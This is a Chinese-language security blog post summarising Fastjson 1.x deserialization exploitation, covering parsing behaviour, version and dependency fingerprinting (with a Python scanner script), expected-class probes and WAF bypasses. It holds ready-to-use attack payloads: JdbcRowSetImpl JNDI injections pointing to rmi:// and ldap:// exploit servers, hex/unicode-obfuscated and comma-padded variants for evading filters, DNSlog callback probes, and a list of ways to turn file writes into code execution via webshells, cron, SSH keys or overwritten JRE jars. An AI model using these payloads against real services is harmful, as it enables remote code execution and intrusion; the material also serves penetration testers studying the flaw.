Fastjson1全版本(1.2.47→1.2.83 )漏洞利用3万字完整总结、绕过分析、探测、WAF 绕过与 Gadget 汇总

0x01 简介

Fastjson1 全版本反序列化漏洞利用体系,讲解反序列化核心流程、parse 与 parseObject 行为差异,汇总目标探测手段,包含版本识别、依赖探测、期望类判断以及各类 WAF 绕过技巧。重点剖析 1.2.47、1.2.68、1.2.80、1.2.83 经典绕过原理,整理 JDBC、commons-io 读写文件等多条利用链,阐述写文件转化 RCE 落地思路。配套各类 Payload 思路与开源工具清单,解决现有资料碎片化问题,便于安全从业者学习、复盘与实战落地。

整理 Fastjson1 全版本利用要点------反序列化流程、版本/依赖/期望类探测、WAF 绕过,以及 1.2.47 / 68 / 80 / 83 关键绕过与各利用链;并附配套工具,方便复习与落地。

现在只对常读和星标的才展示大图推送,建议大家把渗透安全HackTwo"设为星标",否则可能就看不到了啦!****

完整文章: Fastjson1全版本(1.2.47→1.2.83 )漏洞利用3万字完整总结、绕过分析、探测、WAF 绕过与 Gadget 汇总

末尾可领取挖洞资料/加圈子 #渗透安全HackTwo

0x02 正文详情

反序列化流程

先抛一个实际利用里经常碰到的问题:如果某个字段既出现在 public 有参构造里,又有 setter,那 Fastjson 到底走哪条路?

存在无参构造

  • Fastjson 首先调用无参构造函数new ClassName())实例化对象
  • 解析 JSON 中的键值对
  • 通过反射调用该字段对应的 SettersetFieldName(...))把值注入进去
  • 此时有参构造会被忽略

不存在无参构造

  • Fastjson 检测到没有无参构造后,会尝试匹配参数最多的有参构造
  • 从 JSON 里抽出对应构造参数的值
  • 调用有参构造函数new ClassName(arg1, arg2...))实例化对象
  • 如果 JSON 里还有不在构造参数列表中的字段,且这些字段有 Setter,则会在实例化后再调用那些 Setter

使用了@JSONCreator 注解

如果在构造函数(或静态工厂方法)上标了 @JSONCreator,Fastjson 会强制走该构造,不管有没有无参构造或 Setter,值都通过构造注入。安全研究场景里比较少见。

所以可以利用的入口主要是 setter,或者有参构造。有参构造是从 JSON 内层执行到外层的。

KCON2022 里也有一张比较直观的图:

parse和parseObject

更细的源码分析见:

复制代码
https://1diot9.github.io/2025/12/04/Fastjson%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90/

这里先记结论,后面写 payload 时不容易绕晕:

  • parse

    和多参 parseObject (存在期望类) 行为接近,都会调用 setter,以及符合条件的 getter,如下图:

  • 单参 parseObject 会额外触发所有 public getter
  • parse

    反序列化且不指定类型时,可以通过 $ref 触发 getter

  • 默认只能触发 public 方法,除非开启了 Feature.SupportNonPublicField

写文件如何 RCE

Fastjson 高版本利用里,写文件链出现得很多。写完文件之后怎么落到 RCE,可以参考:

复制代码
https://mp.weixin.qq.com/s/n8RW0NIllcQ0sn3nI9uceA

大致可以概括成下面几类:

复制代码
1、计划任务 / sshkey,通常需要 root
2、写 jsp 等 webshell,不适用于纯 jar 部署
3、写 jar 覆盖 jre/lib,最经典的是覆盖 charsets.jar;没法写二进制时,可以考虑 ascii jar:https://github.com/c0ny1/ascii-jar
4、写 jre classes,需要知道并创建目录,还要有入口点
5、写 classes + SPI,同样需要知道目录并能创建目录
6、写 tomcat-docbase class,需要知道目录,且依赖特定 ClassLoader(基本限制在 Fastjson 利用场景)

其中方法 3~5 基本只在 JDK8 下好用。

探测

Fastjson 判断

1、根据报错信息判断

故意破坏 JSON,看报错回显:

复制代码
{"age":20,"name":"Bob"

也可以用 @type 探一下 AutoType 是否开启:

复制代码
{"@type":"whatever"}

2、根据解析变化判断

复制代码
{"a":new a(1),"b":x'11',/*\*\/"c":Set[{}{}],"d":"\u0000\x00"}{"ext":"blue","name":{"$ref":"$.ext"}}

3、DNS 请求

不出网时,也可以根据响应时间是否变长来间接判断:

复制代码
{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}

4、区别 Jackson

// 多余的类成员: 添加一个键值 test,jackson会报错,fastjson不会

复制代码
{"age":20,"name":"Bob","test":1}
// jackson 不支持单引号作为界定符
{"age":20,'name':'Bob'}
// jackson 可以使用注释符/*#,fastjson 会报错,fastjson的注释符是 //
{
    "age":20,
    "name":'Bob'
}/*
#aaaa
// jackson 会丢失精度
{
    "age":20.111111111111111111111111111,
    "name":'Bob'
}
5、区别 Gson

// 浮点类型精度丢失
{a:1.111111111111111111111111111}
// 注释符
#\r\n{a:1}

6、区别 org.json

复制代码
// 特殊字符{a:'\r'}

版本探测

参考:

复制代码
https://mp.weixin.qq.com/s/jbkN86qq9JxkGNOhwv9nxA

1、AutoType 探测​​​​​​​

复制代码
{"xxx":{"@type":"java.lang.Class","val":""}}
{"xxx":{"@type":"Random.String"}}

开启 AutoType 时:payload1 报错,payload2 不报错

autoType is not support. java.lang.Class

未开启 AutoType 时:payload1 不报错,payload2 报错

autoType is not support. Random.String

2、AutoCloseable 精确探测​​​​​​​

复制代码
{
  "@type": "java.lang.AutoCloseable"

注意:Fastjson 1.2.76 之后,即使用这种方式,探测结果也会停在 1.2.76。

3、1.2.83 具体探测

复制代码
{"xxx":{"@type":"Test.TestException"}}

只有 1.2.83 时不报错。

4、dnslog 探测大致版本

复制代码
//  <=1.2.47
[
  {
    "@type": "java.lang.Class",
    "val": "java.io.ByteArrayOutputStream"
  },
  {
    "@type": "java.io.ByteArrayOutputStream"
  },
  {
    "@type": "java.net.InetSocketAddress"
  {
    "address":,
    "val": "aaa.xxxx.ceye.io"
  }
}
]
//  <=1.2.68
[
  {
    "@type": "java.lang.AutoCloseable",
    "@type": "java.io.ByteArrayOutputStream"
  },
  {
    "@type": "java.io.ByteArrayOutputStream"
  },
  {
    "@type": "java.net.InetSocketAddress"
  {
    "address":,
    "val": "bbb.n41tma.ceye.io"
  }
}
]
//  <=1.2.80 只收到第一个dns请求,1.2.83 收到两个dns请求
[
  {
    "@type": "java.lang.Exception",
    "@type": "com.alibaba.fastjson.JSONException",
    "x": {
      "@type": "java.net.InetSocketAddress"
  {
    "address":,
    "val": "ccc.4fhgzj.dnslog.cn"
  }
}
},
  {
    "@type": "java.lang.Exception",
    "@type": "com.alibaba.fastjson.JSONException",
    "message": {
      "@type": "java.net.InetSocketAddress"
  {
    "address":,
    "val": "ddd.4fhgzj.dnslog.cn"
  }
}
}
]

5、不出网探测:根据响应是 500 还是正常判断

复制代码
https://mp.weixin.qq.com/s/jbkN86qq9JxkGNOhwv9nxA

【不报错】1.2.83/1.2.24 【报错】1.2.25-1.2.80{"zero":{"@type":"java.lang.Exception","@type":"org.XxException"}}

{"zero":{"@type":"java.lang.AutoCloseable","@type":"java.io.ByteArrayOutputStream"}}
【不报错】1.2.24-1.2.47 【报错】1.2.48-1.2.83
{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl"
    }
}
【不报错】1.2.24 【报错】1.2.25-1.2.83
{"zero": {"@type": "com.sun.rowset.JdbcRowSetImpl"}}

【不报错】1.2.24-1.2.68 【报错】1.2.70-1.2.83

依赖探测

1、Character 转换报错​​​​​​​

复制代码
{
  "x": {
    "@type": "java.lang.Character"{
  "@type": "java.lang.Class",
  "val": "org.springframework.web.bind.annotation.RequestMapping"
}}

类存在时会报 can not cast,不存在则往往是 No message available

一些相关依赖类:

复制代码
org.springframework.web.bind.annotation.RequestMapping  //SpringBoot
org.apache.catalina.startup.Tomcat  //Tomcat
groovy.lang.GroovyShell  //Groovy - 1.2.80
com.mchange.v2.c3p0.DataSources  //C3P0
org.apache.ibatis.datasource.unpooled.UnpooledDataSource  //mybatis
org.h2.jdbcx.JdbcDataSource //h2
com.mysql.jdbc.Buffer  //mysql-jdbc-5
com.mysql.cj.api.authentication.AuthenticationProvider  //mysql-connect-6
com.mysql.cj.protocol.AuthenticationProvider //mysql-connect-8
jdk.nashorn.tools.Shell  //JDK8
java.net.http.HttpClient  //JDK11
com.sun.org.apache.bcel.internal.util.ClassLoader   // <= jdk8u251
org.apache.ibatis.type.Alias  //Mybatis
org.apache.tomcat.dbcp.dbcp.BasicDataSource  //tomcat-dbcp-7-BCEL
org.apache.tomcat.dbcp.dbcp2.BasicDataSource //tomcat-dbcp-8及以后-BCEL
org.apache.commons.dbcp.BasicDataSource //commons-dbcp <= 1.4
org.apache.commons.dbcp2.BasicDataSource //commons-dbcp2 <= 2.13.0
org.apache.commons.io.ByteOrderMark       //commons-io-通用类,不确定版本
org.apache.commons.io.Java7Support        //commons-io-2.5独有
org.apache.commons.io.IOIndexedException  //commons-io-2.7独有
org.apache.commons.io.file.Counters       //commons-io-2.7-2.8独有
org.apache.commons.io.FileSystem          //commons-io-2.7独有
org.apache.commons.io.file.PathUtils      //commons-io-2.7独有
org.apache.commons.io.function.IOConsumer //commons-io-2.7独有
org.aspectj.ajde.Ajde  //aspectjtools
com.fasterxml.jackson.core.exc.InputCoercionException   //jackson
org.python.antlr.ParseException //jython
org.postgresql.jdbc.PgConnection    //postgre

配套脚本:

复制代码
import requests
import os
def jar_scanner(url: str, timeout: int = 10) -> list:
    """
    扫描目标URL的fastjson依赖库
    Args:
        url: 目标URL
        timeout: 请求超时时间(秒)
    Returns:
        list: 检测到的依赖列表
    """
    base_dir = os.path.dirname(os.path.abspath(__file__))
    jar_list_path = os.path.join(base_dir, "poc", "jarList.txt")
    jar_scan_path = os.path.join(base_dir, "poc", "jarScan.json")
    # 读取jarScan.json模板(畸形JSON,直接读取文本)
    with open(jar_scan_path, "r", encoding="utf-8") as f:
        poc_template = f.read()
    # 读取jarList.txt
    with open(jar_list_path, "r", encoding="utf-8") as f:
        lines = f.readlines()
    detected_jars = []
    for line in lines:
        line = line.strip()
        if not line or "//" not in line:
            continue
        # 按 // 划分,获取类名和依赖说明
        parts = line.split("//")
        clazz = parts[0].strip()
        description = parts[1].strip() if len(parts) > 1 else ""
        # 替换POC模板中的${clazz}
        poc_data = poc_template.replace("${clazz}", clazz)
        try:
            # 发送POST请求,使用data=发送原始数据
            response = requests.post(
                url,
                data=poc_data,
                headers={"Content-Type": "application/json"},
                timeout=timeout
            )
            # 检查响应中是否包含 "can not cast to char"
            if "can not cast to char" in response.text:
                result = f"\033[92m[+] 发现依赖: {description} ({clazz})\033[0m"
                print(result)
                detected_jars.append({
                    "class": clazz,
                    "description": description,
                    "line": line.strip()
                })
            else:
                print(f"[-] 未检测到: {description} ({clazz})")
        except requests.exceptions.Timeout:
            print(f"[!] 请求超时: {clazz}")
        except requests.exceptions.RequestException as e:
            print(f"[!] 请求失败: {clazz} - {e}")
        except Exception as e:
            print(f"[!] 异常: {clazz} - {e}")
    return detected_jars
if __name__ == "__main__":
    import sys
    if len(sys.argv) < 2:
        print("Usage: python main.py <target_url>")
        print("Example: python main.py http://example.com/api")
        sys.exit(1)
    target_url = sys.argv[1]
    print(f"[*] 开始扫描目标: {target_url}")
    print("=" * 60)
    results = jar_scanner(target_url)
    print("=" * 60)
    print(f"[*] 扫描完成,共发现 {len(results)} 个依赖")

2、dnslog

复制代码
{"@type":"java.net.Inet4Address", 
"val":{"@type":"java.lang.String" 
{"@type":"java.util.Locale", 
"val":{
"@type":"com.alibaba.fastjson.JSONObject",{
"@type": "java.lang.String""@type":"java.util.Locale", 
"language":{"@type":"java.lang.String" 
{1:{"@type":"java.lang.Class","val":"TARGET_CLASS"}}, 
"country":"x.l56y7u6g.dnslog.pw" 
}}
}

我本地试了好几次一直不行:

判断是否存在期望类

复制代码
https://mp.weixin.qq.com/s/7c_zi5Pv4a69IV0zzJo5Ww

黑盒里经常会碰到:入口到底是 JSON.parse(json),还是 JSON.parseObject(json, Xxx.class) / Spring 参数绑定带了期望类?两者后面能用的链差很多,有必要先探一下。

像下面这种写法,反序列化时就带着期望类:

复制代码
JSONObject.parseObject(payload, Test.class)

Spring 配了 Fastjson 做参数解析时,框架层也会在反序列化参数时塞进期望类。可以在原请求参数上叠一层来测:

复制代码
{"@type":"com.alibaba.fastjson.support.geo.Feature"}

例如原始请求:

复制代码
{"username":"admin","password":"123456"}

改成:

复制代码
{
    "@type": "com.alibaba.fastjson.support.geo.Feature",
    "username": "admin",
    "password": "123456"
}

如果原参数是数组,可以写成:

复制代码
[
    {
        "@type": "com.alibaba.fastjson.support.geo.Feature",
        "username": "admin",
        "password": "123456"
    }
]

报错 → 该反序列化点存在期望类。

注意:com.alibaba.fastjson.support.geo.Feature 是 1.2.68 才引入的,顺便也能用来判断版本是否低于 1.2.68。

还有一个更抽象一点的写法:

复制代码
{{}:{}}

结合原参数:

复制代码
{
    {}: {},
    "username": "admin",
    "password": "123456"
}

若存在期望类,且期望类型不是 Map 及其子类,一般会报错。再改成嵌在字段里的形式,往往就不报错了:

复制代码
{
    "test": {
        {
            {}: {}
        }: ""
    },
    "username": "admin",
    "password": "123456"
}

​

存在期望类时,利用上会多两道限制:

1、靠 getter 触发的 payload,大多数打不起来

2、$ref 引用基本用不了------结果会被转成期望类对象,引用只能落到期望类已有的成员上;成员多半是 String / 数字,而链子里要引用的往往是对象,类型一对不上就断了(比如 commons-io 读文件那套就很难直接用)

后文「小技巧」里的 java.util.Currency,就是针对「有期望类还想触发 getter」的一种绕法。

WAF 绕过

Unicode / hex 编码:

复制代码
{"\x40\u0074\u0079\u0070\u0065":"\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c","dataSourceName":"rmi://127.0.0.1:1099/Exploit", "autoCommit":true}
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"$%7bjndi:ldap://1.1.1.1:1389/EvilObject%7d","autoCommit": true}}

多个逗号:

复制代码
{,,,,,,"@type":"com.sun.rowset.JdbcRowSetImpl",,,,,,"dataSourceName":"rmi://127.0.0.1:1099/Exploit",,,,,, "autoCommit":true         }

_- 绕过:

Fastjson 解析 JSON 字段 key 时,会把 _- 替换为空。1.2.36 之前二者只能单独用;1.2.36 及之后支持混合使用。

0x03 总结

完成版文章请看: Fastjson1全版本(1.2.47→1.2.83 )漏洞利用3万字完整总结、绕过分析、探测、WAF 绕过与 Gadget 汇总

相关推荐
火云牌神2 小时前
如何用项目规则给 AI 划定编码边界
人工智能·系统架构·ai编程·vibecoding
优氙费控2 小时前
报销审核效率低?AI费用审核正在改变财务工作方式
大数据·人工智能
障碍的枫子2 小时前
Vue组件导出&渲染
前端·javascript·vue.js
云边云科技_云网融合2 小时前
金融医疗混合云组网如何满足数据安全与合规要求?
大数据·人工智能·物联网
开开心心就好2 小时前
视频播放器完美解码集成三款播放器切换使用
前端·人工智能·智能手机·电脑·音视频·virtualenv·pygame
Sterting2 小时前
组件通信:Props 与 Emit
前端·vue.js
hzcj8882 小时前
汇正财经:出海数据向好,创新药热度高
大数据·人工智能
鲜于言悠9052 小时前
一文讲透Agent评测:从短程评测走向长程评测
人工智能
东方老白2 小时前
iOS 面试题
前端
@Mr_LiuYang3 小时前
大模型提示注入攻防实验--《深入理解 AI Agent:设计原理与工程实践 》实验2-5
人工智能·大模型·提示词注入·攻防实验